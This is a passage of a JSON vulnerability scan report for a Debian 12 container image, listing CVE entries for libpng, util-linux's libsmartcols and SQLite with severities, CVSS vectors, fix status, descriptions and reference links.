"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22695", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/218612ddd6b17944e21eda56caf8b4bf7779d1ea", "https://github.com/pnggroup/libpng/commit/e4f7ad4ea2", "https://github.com/pnggroup/libpng/issues/778", "https://github.com/pnggroup/libpng/security/advisories/GHSA-mmq5-27w3-rxpp", "https://linux.oracle.com/cve/CVE-2026-22695.html", "https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22695", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22695", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.597Z", "LastModifiedDate": "2026-06-17T10:20:15.007Z" }, { "VulnerabilityID": "CVE-2026-22801", "PkgID": "libpng16-16@1.6.39-2+deb12u1", "PkgName": "libpng16-16", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpng16-16@1.6.39-2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b3bc8ee9dbf92b13" }, "InstalledVersion": "1.6.39-2+deb12u1", "FixedVersion": "1.6.39-2+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22801", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:de1e8c9854e575c88877c96cc33f2152ce76fb31afd59ed9f70a84a20333211e", "Title": "libpng: libpng: Information disclosure and denial of service via integer truncation in simplified write API", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.26 to 1.6.53, there is an integer truncation in the libpng simplified write API functions png_write_image_16bit and png_write_image_8bit causes heap buffer over-read when the caller provides a negative row stride (for bottom-up image layouts) or a stride exceeding 65535 bytes. The bug was introduced in libpng 1.6.26 (October 2016) by casts added to silence compiler warnings on 16-bit systems. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22801", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/security/advisories/GHSA-vgjq-8cw5-ggw8", "https://linux.oracle.com/cve/CVE-2026-22801.html", "https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22801", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22801", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.907Z", "LastModifiedDate": "2026-06-17T10:20:27.327Z" }, { "VulnerabilityID": "CVE-2026-25646", "VendorIDs": [ "DSA-6138-1" ], "PkgID": "libpng16-16@1.6.39-2+deb12u1", "PkgName": "libpng16-16", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpng16-16@1.6.39-2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b3bc8ee9dbf92b13" }, "InstalledVersion": "1.6.39-2+deb12u1", "FixedVersion": "1.6.39-2+deb12u3", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25646", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cd099e6b4e7c5bd3ca5dd380b041ded5065b4d1e6110dd28a0d7057e03bd837", "Title": "libpng: LIBPNG has a heap buffer overflow in png_set_quantize", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to 1.6.55, an out-of-bounds read vulnerability exists in the png_set_quantize() API function. When the function is called with no histogram and the number of colors in the palette is more than twice the maximum supported by the user's display, certain palettes will cause the function to enter into an infinite loop that reads past the end of an internal heap-allocated buffer. The images that trigger this vulnerability are valid per the PNG specification. This vulnerability is fixed in 1.6.55.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-126", "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "cbl-mariner": 3, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.1, "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/02/09/7", "https://access.redhat.com/errata/RHSA-2026:10097", "https://access.redhat.com/errata/RHSA-2026:12274", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17596", "https://access.redhat.com/errata/RHSA-2026:3031", "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:3551", "https://access.redhat.com/errata/RHSA-2026:3573", "https://access.redhat.com/errata/RHSA-2026:3574", "https://access.redhat.com/errata/RHSA-2026:3575", "https://access.redhat.com/errata/RHSA-2026:3576", "https://access.redhat.com/errata/RHSA-2026:3577", "https://access.redhat.com/errata/RHSA-2026:3968", "https://access.redhat.com/errata/RHSA-2026:3969", "https://access.redhat.com/errata/RHSA-2026:4221", "https://access.redhat.com/errata/RHSA-2026:4222", "https://access.redhat.com/errata/RHSA-2026:4306", "https://access.redhat.com/errata/RHSA-2026:4501", "https://access.redhat.com/errata/RHSA-2026:4728", "https://access.redhat.com/errata/RHSA-2026:4729", "https://access.redhat.com/errata/RHSA-2026:4730", "https://access.redhat.com/errata/RHSA-2026:4731", "https://access.redhat.com/errata/RHSA-2026:4732", "https://access.redhat.com/errata/RHSA-2026:4756", "https://access.redhat.com/errata/RHSA-2026:5606", "https://access.redhat.com/errata/RHSA-2026:6439", "https://access.redhat.com/errata/RHSA-2026:6445", "https://access.redhat.com/errata/RHSA-2026:6466", "https://access.redhat.com/errata/RHSA-2026:6467", "https://access.redhat.com/errata/RHSA-2026:6468", "https://access.redhat.com/errata/RHSA-2026:6469", "https://access.redhat.com/errata/RHSA-2026:6553", "https://access.redhat.com/errata/RHSA-2026:6732", "https://access.redhat.com/errata/RHSA-2026:7032", "https://access.redhat.com/errata/RHSA-2026:7033", "https://access.redhat.com/errata/RHSA-2026:7034", "https://access.redhat.com/errata/RHSA-2026:7035", "https://access.redhat.com/errata/RHSA-2026:7036", "https://access.redhat.com/errata/RHSA-2026:7239", "https://access.redhat.com/errata/RHSA-2026:7243", "https://access.redhat.com/errata/RHSA-2026:8746", "https://access.redhat.com/errata/RHSA-2026:8747", "https://access.redhat.com/errata/RHSA-2026:8748", "https://access.redhat.com/errata/RHSA-2026:9254", "https://access.redhat.com/errata/RHSA-2026:9255", "https://access.redhat.com/errata/RHSA-2026:9686", "https://access.redhat.com/errata/RHSA-2026:9687", "https://access.redhat.com/security/cve/CVE-2026-25646", "https://bugzilla.redhat.com/2428824", "https://bugzilla.redhat.com/2428825", "https://bugzilla.redhat.com/2438542", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-3405.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/01d03b8453eb30ade759cd45c707e5a1c7277d88", "https://github.com/pnggroup/libpng/security/advisories/GHSA-g8hp-mq4h-rqm3", "https://linux.oracle.com/cve/CVE-2026-25646.html", "https://linux.oracle.com/errata/ELSA-2026-7032.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25646", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25646.json", "https://ubuntu.com/security/notices/USN-8035-1", "https://ubuntu.com/security/notices/USN-8039-1", "https://ubuntu.com/security/notices/USN-8081-1", "https://www.cve.org/CVERecord?id=CVE-2026-25646" ], "PublishedDate": "2026-02-10T18:16:37.817Z", "LastModifiedDate": "2026-08-11T13:17:59.553Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libsmartcols1@2.38.1-5+deb12u3", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "88685dc0a8020e21" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d3c2444fb3cc200b88f4fe0198f42b1be694c0ab84bf76b825c4574e55b6d715", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libsmartcols1@2.38.1-5+deb12u3", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "88685dc0a8020e21" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b60fd334143fb807c23a3afc5db960f0ddea995aad1eeaaa615a3dff2fb3146e", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libsmartcols1@2.38.1-5+deb12u3", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "88685dc0a8020e21" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad29dd147056fcf25bba93df70167e3398742beb4116e884cfa5479e4d231b17", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-7458", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-7458", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b25117112ffe40cb603ace38b0c0c2279a2665ac6b029f1f91a6ffb4cfad98df", "Title": "sqlite: SQLite integer overflow", "Description": "An integer overflow in the sqlite3KeyInfoFromExprList function in SQLite versions 3.39.2 through 3.41.1 allows an attacker with the ability to execute arbitrary SQL statements to cause a denial of service or disclose sensitive information from process memory via a crafted SELECT statement with a large number of expressions in the ORDER BY clause.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "bitnami": 4, "cbl-mariner": 2, "nvd": 4, "redhat": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-7458", "https://nvd.nist.gov/vuln/detail/CVE-2025-7458", "https://sqlite.org/forum/forumpost/16ce2bb7a639e29b", "https://sqlite.org/src/info/12ad822d9b827777", "https://www.cve.org/CVERecord?id=CVE-2025-7458" ], "PublishedDate": "2025-07-29T13:15:28.953Z", "LastModifiedDate": "2026-06-17T10:04:59.89Z" }, { "VulnerabilityID": "CVE-2026-11822", "PkgID": "libsqlite3-0@3.40.1-2+deb12u2", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "InstalledVersion": "3.40.1-2+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11822", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:180e8ae94aaba00a9240d174952c3b9dc3a41da9f6caaa477f15abc9b7a89c4a", "Title": "sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data", "Description": "SQLite before 3.53.2 contains an out-of-bounds read vulnerability in the FTS5 full-text search extension that allows attackers to crash the process by supplying a crafted database with a malformed FTS5 leaf page. Attackers can set an oversized term length in the leaf page so that fts5LeafSeek() reads past the end of the page buffer while comparing terms during an FTS5 MATCH query, in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11822", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11822.html", "https://linux.oracle.com/errata/ELSA-2026-61242-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11822", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", 